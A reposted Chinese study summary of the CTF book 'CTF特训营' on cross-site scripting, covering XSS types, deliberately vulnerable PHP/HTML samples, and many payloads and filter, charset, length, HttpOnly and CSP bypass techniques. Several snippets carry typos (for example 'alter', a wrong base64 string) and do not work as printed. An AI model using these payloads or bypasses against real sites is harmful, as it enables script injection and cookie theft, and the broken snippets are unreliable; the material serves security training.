IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 《CTF特训营》学习总结——跨站脚本攻击(XSS) -> 正文阅读

[网络协议]《CTF特训营》学习总结——跨站脚本攻击(XSS)

一、基本介绍

跨站脚本攻击简称XSS,是一种网站应用程序漏洞,是代码注入漏洞的一种,攻击者可以通过这个漏洞向网页中注入恶意代码,导致用户浏览器加载网页、渲染HTML文档时执行攻击者代码。

二、分类

1.成因分类

反射型XSS,存储型XSS,DOM型XSS

2.输出点分类

输出在HTML属性中,输出在CSS代码中,输出在JavaScript中

三、介绍

1.反射型XSS漏洞

XSS代码作为客户端输入的内容提交给服务端,服务端解析后,在响应内容中返回输入的XSS代码,最终在浏览器解释器执行,原型如下:

<?php
echo 'your input:' . $_GET[' input '];
?>

客户端输入的input值未经过任何过滤便直接输出,所以攻击者可以提交

http://csdn.com/xss.php?input=<script>alter(/xss/)</script>

在服务端对客户端输入的内容进行解析后,echo语句会将客户端输入的代码完整地输出到HTTP响应中,浏览器解析并执行。

2.存储型XSS漏洞

在于提交的XSS代码是否会存储在服务端,下次请求该网页时是否需要再次提交XSS代码。存储型XSS典型应用有留言板,在线聊天室,邮件服务等,攻击者提交包含XSS代码的留言后,服务端会将其存储与数据库中,其他用户访问网页查看留言时,服务端将从数据库中查询已有的留言并输出在HTTP响应中,原型如下:

<html>
<head>
     <title>GuestBook v1.0</title>
     <meta charset="utf-8">
</head>
<body>
<form method = "post">
     昵称:<input type="text" name="nickname"><br>
     内容:<textarea name="content"></textarea><br>
     <input type="submin" name="submit" value="提交留言">
</form>
<hr>
<?php>
      $conn = mysql_connect("localhost","root","root");
      if (! $conn) {
            die('could not connect: ' . mysql_error());
      }
      mysql_select_db("guestbook",$conn);
      if (isset($_POST['submit'])) {
           $nickname = $_POST['nickname'];
           $content = $_POST['content'];
                mysql_query("INSERT INTO guestbook (nickname,content) VALUES ('Snickname', '$content')");
      }
      $result = mysql_query("SELECT * FROM guestbook");
      while(&row = mysql_fetch_array($result)) {
            echo $ row['nickname'] . ":" . $row['content'] . '<br>';
      }
      mysql_close($conn);
  ?>
</body>
</html> 

攻击者提交留言<script>alter(/xss/)</script>后,服务端存储留言,其他用户访问网页时执行恶意代码。

3.DOM型XSS漏洞

DOM XSS的XSS代码不需要在服务端解析响应的直接参与,触发XSS的是浏览器的DOM解析,原型如下:

<html>
<head>
      <title>DOM XSS</title>
      <meta charset="utf-8">
</head>
<body>
       <div id="area"></div>
       <script>
               document.getElementByID("area").innerHTML = unescape(location.hash);
       </script>
</body>
</html>

代码中服务端未作任何操作,而客户端得javascript代码动态地将location.hash赋给:

document.getElementByID("area").innerHTML

导致了这个DOM XSS,使用方法如下:

http://csdn.com/dom.html#<img src=x οnerrοr='alter(/xss/)'>

4.输出在HTML标签中

原型如下:

<input name="user" values="{{your input}}"/>

XSS得payload输出在HTML属性中时,攻击者需要闭合相应得HTML属性后注入新的属性,或者在闭合标签后直接注入标签,如输入:

" onclick="alert(/xss/)

闭合前面得value属性,注入新的得onclick属性,则会输出:

<input name = "user" value="" onclick="alert(/xss/)"/>

或者输入

"><script>alert(/xss/)</script>

直接闭合input标签,注入新的script标签,则会输出:

<input name="user" value=""><script>alert(/xss/)</script/>"/>

5.输出在CSS代码中

原型如下:

<style tpye="text/css">
 body {
     color: {{your input}};
}
 </style>

XSS攻击payload输出在CSS代码中时,攻击者需要闭合相应的CSS代码,如输入:

#000;background-image: url('javascript:alert(/xss/)')

闭合前面的color属性,注入background-image属性,则会输出:

<style tpye="text/css">
body {
    color: #000; background-image: url('javascript:alert(/xss/)');
}
</style>

6.输出在Javascript代码中

原型如下:

<script>
  var name='{{your input}}';
</script>

XSS攻击payload输出在javascript代码中时,攻击者需要闭合相应的javascript代码,如输入:

'+alert(/xss/)+'

闭合前面的单引号,注入攻击代码,则会输出:

<script>
var name=''+alert(/xss/)++'';
</script>

四、防护与绕过

1.特定标签过滤

部分开发者认为过滤掉危险标签:script、iframe等就会到时脚本无法执行,其实任何一种标签,无论是否合法,都可以构造处XSS代码,比如:

<not_real_tag onclick="alert(/xss/)">click me</not_real_tag>

如果输出点HTML标签的属性中或在JavaScript代码中,那么攻击者可以简单地闭合,拼接属性或JavaScript代码而不需要引入任何新标签可以执行XSS代码。

同时,HTML5也带来了部分新的标签,容易被开发者忽略,比如video标签。

<video><source onerroe="alert(/xss/)">

2.事件过滤

很多时候,开发者会过滤掉许多HTML标签的事件属性,这时需要对所有可利用的时间属性进行遍历。

还有一些标签属性本身不属于事件属性,但是可以用于执行JavaScript代码,比如JavaScript伪协议。

<a herf="javascript:alert(/xss/)">click me</a>

HTML5也带来了一些新的属性,可以用于对时间过滤进行绕过操作,例如:

1.<details open ontoggle="alert(/xss/)">
2.<from><button formaction="javascript:alert(/x/)">x</button>
....

3.敏感关键字(字符)过滤

关键字过滤大部分是针对敏感变量或者函数而进行的,如:cookie、eval等。这部分的过滤可以通过字符串的拼接、编码解码等方法绕过。

①字符串拼接与混淆

JavaScript中的对象方法可通过数组的方式进行调用,如调用alter函数,可以使用如下方式:

window['alert'](/xss/);

可以看到,数组下标是想调用函数名字的字符串,既然是字符串,那么自然就可以通过拼接方式进行混淆,代码如下:

window['al'+'ert'](/xss/)

还可以使用JavaScript自带的base64编码解码函数来实现字符串过滤的绕过,btoa函数可以将字符串编码base64字符串,atob函数可以将base64字符串还原,这时利用如下代码也可以实现alter(/xss/)相同的效果。

window[atob("YWx1"+"cnQ")](/xss/)

②编码解码

基于字符串的代码混淆不仅可以通过字符拼接的方式来实现,还可以通过各种编码、解码来实现。XSS漏洞常用的编码方式如下:

HTML进制编码:10,16进制

CSS进制编码:兼容HTML中的进制表现,10,16进制

JavaScript进制编码:8,16进制,unicode编码,ASCII

URL编码

JSFuck编码

③location.*、window.name

既然开发者会对输入的敏感关键字进行过滤,那么可以将XSS代码放置于其他不被浏览器提交至服务端的部分,如:location.*、window.name等处。

location.*的构造如下:

http://csdn.com/xss.php?input=<input onfocus=outerHTML=decodeURI(location hash)
>#<img src=x onerror=alert(/xss/)>

Window.name构造如下:

<iframe src="http://csdn.com/xss.php?input=%3Cinput%20onfous=location=window.name
%3E" name="javascript:alert(/xss/)"></ifname>

利用location对象结合字符串编码可以绕过很多基于关键字的过滤,也有一部分关键字过滤是针对敏感符号的过滤,如括号、空格、小数点等。

④过滤“.”

在JavaScript中,可以使用with关键字设置变量的作用域,利用此特性可以绕过对“.”的过滤:

with(document)alert(cookie);

⑤过滤“()”

在JavaScript中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对“()”的过滤:

window.onerror=alert;throw 1;

⑥过滤空格

在标签属性间可使用换行符0x09、0x10、0x12、0x13、0x0a等字符代替空格绕过过滤:

http://csdn.com/xss.php?input=<img%0asrc=x%0aonerro=alert(/xss/)>

在标签名称和第一个属性间也可以使用“/”代替空格:

<input/onfocus=alert(/xss/)>

?

⑦svg标签

svg内部的标签和语句遵循规则是直接继承自XML而不是HTML,区别在于svg内部的script标签中可以允许存在一部分进制或编码后的字符(比如实体编码):

http"//csdn.com/xss.php?input=1"><svg><script>alter%26%23x28;1%26%23x29
</script></svg>

4.字符集编码导致的绕过

①古老的UTF-7与US-ASCII

在没有通过Content-Type或者meta标签设置字符集时,如果IE的编码设置为自动检测,那么它会根据一些BOM字符来判断当前的字符集(现在已经不适用):

<html>
<head><title>UTF-7</title></head>
<body>
     +ADw-script+AD4-alert(/xss/)+ADw-/script+AD4-
</body>
</html>

另外一种情况就是,虽然IE没有勾选自动检测字符集的设置,但可以通过制作一个字符集为UTF-7的页面,并使用iframe标签来调用目标页面,利用字符集继承漏洞来实现字符集的设定,如:

<meta http-equiv='content-type' content='text/html;charset=UTF-7'>
<iframe src='http://csdn.com/xss.php?input=%2BADw-script%2BAD4-alter(/xss/)%2BADw-
%2Fscript%2BAD4-'></iframe>

但是这种基于iframe的跨域字符集继承漏洞已被修复,当前的情况是:继承的大前提是必须同域。

如果输出点是在title标签之内,meta标签之前,且字符集是由meta标签所指定的,那么仍可通过如下方式注入meta标签指定字符集来利用XSS漏洞,原型如下:

<html>
  <head>
    <title>{{your input}}</title>
    <meta http-equiv="content-type" content="text/html;charset=UTF-8">
  </head>
</html>

在title标签中注入如下代码:

</title><meta charset="utf-7">+ADw-script+AD4-alert(/xss/)+ADw-/script+AD4-:

最终可以构造处:

<html>
   <head>
        <title></title><meta charset="utf-7">+ADw-script+AD4-alert(1)+ADw-/script
+AD4-<title>
        <meta http-equiv="content-type" content="text/html;charset=UTF-8">
   <head>
</html>

基于US-ACSCII字符集合的XSS漏洞与基于UTF-7的XSS漏洞很相似,代码如下:

<html>
   <head>
     <meta http-equiv="content=type" content="text/html;charset=us=ascii">
   </head>
   <body>
      シscriprpt セ alert(1) シ/script セ
   </body>
</html>

②宽字节

考虑如下代码:

<html>
  <head>
     <title>XSS</title>
     <meta charset="gb2312">
</head>
<body>
   <script>
   var q="<?php echo str_replace('</','<\/',addslashes($_GET['input']));?>";
   </script>
 </body>
</html>

这段代码通过str_replace和addslashes对输入进行过滤,而这里可以使用宽字节进行绕过,payload如下:

http://csdn.com/xss.php?input=%d5%22;alert(1);//

5.长度限制

部分输入点会限制输入字符的数量,这时就需要使XSS代码尽量短小

①window.name和location.*

window.name和location.*都可以通过将代码放置在别处以减小输入点代码量,如:

<iframe scr="http://csdn.com/xss.php?input=%3Cinput%20onfoucus=eval(window.name)
%3E"name="alert(/xss/)"><iframe>

②第三方库工厂函数

诸如jQuery等等三方JavaScript库大部分都会提供相应的工厂函数,如jQuery中的“$()”,它会自动构造标签,并且执行其中的代码:

<iframe scr="http://csdn.com/xss.php?input=%3Cinput%20onfocus=$(window.name)
%3E"name="<img scr='x' onerror=alert(/xss/) />"/>

③注释

在一些环境下可以使用注释来绕过长度限制。具体操作是将XSS代码分为多个阶段,在每个阶段的代码前后添加注释符号,依次注入XSS代码,这样不同阶段的代码就可以组合到一起了,如下所示:

stage 1:<script>/*
stage 2:*/alert(1)/*
stage 3:*/</script>

6.HttpOnly绕过

这是一个cookie的一个安全属性,设置后则可以在XSS漏洞发生时避免JavaScript读取到cookie,但即使设置了httponly属性,也仍有方法获取到cookie值。

①CVE-2012-0053

Apache服务器2.2.0-2.2.21版本存在一个漏洞CVE-2012-0053:攻击者可以通过向网站植入超大的cookie,令其HTTP头超过Apache的最大请求长度(4192字节),使得Apache返回400错误,状态页中包含了HttpOnly保护的cookie。

②PHPINFO页面

无论是否设置HttpOnly属性,phpinfo()函数都会输出当前请求上下文的cookie信息。如果目标网站存在phpinfo页面,就可以通过XMLHttpRequest请求该页面获取cookie信息。

③Flash/Java

安全团队seckb在2012年提出,通过Flash、Java的一些API可以获取到HttpOnly cookie,这种情况可以归结为客户端信息泄露。

7.XSS Auditor绕过

反射型XSS漏洞作为一种最容易发现和挖掘的XSS漏洞,但是由于XSS Auditor的出现,使反射型XSS漏洞的作用被逐步弱化,XSS Auditor通过检查输入的内容判断该内容是否在输出中出现,如果符合XSS Auditor的过滤条件,则会直接阻止脚本执行。

8.内容安全策略(CSP)绕过

CSP是目前最主要的web安全保护机制之一,这个功能可以有效地帮助开发着降低网站遭受XSS漏洞攻击的可能性,开发者可以创建并强制部署一些安全管理规则,规定网站可以获取或者加载的内容。

CSP以白名单的机制来管理网站要加载或者执行的资源,在网页中,这样的策略是通过HTTP头信息或者meta标签来定义的,虽然这个策略可以防止攻击者从外部网站跨站加载恶意代码,但是CSP是不能防止数据泄露的。

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-07-21 21:50:39  更:2022-07-21 21:51:46 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 22:39:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码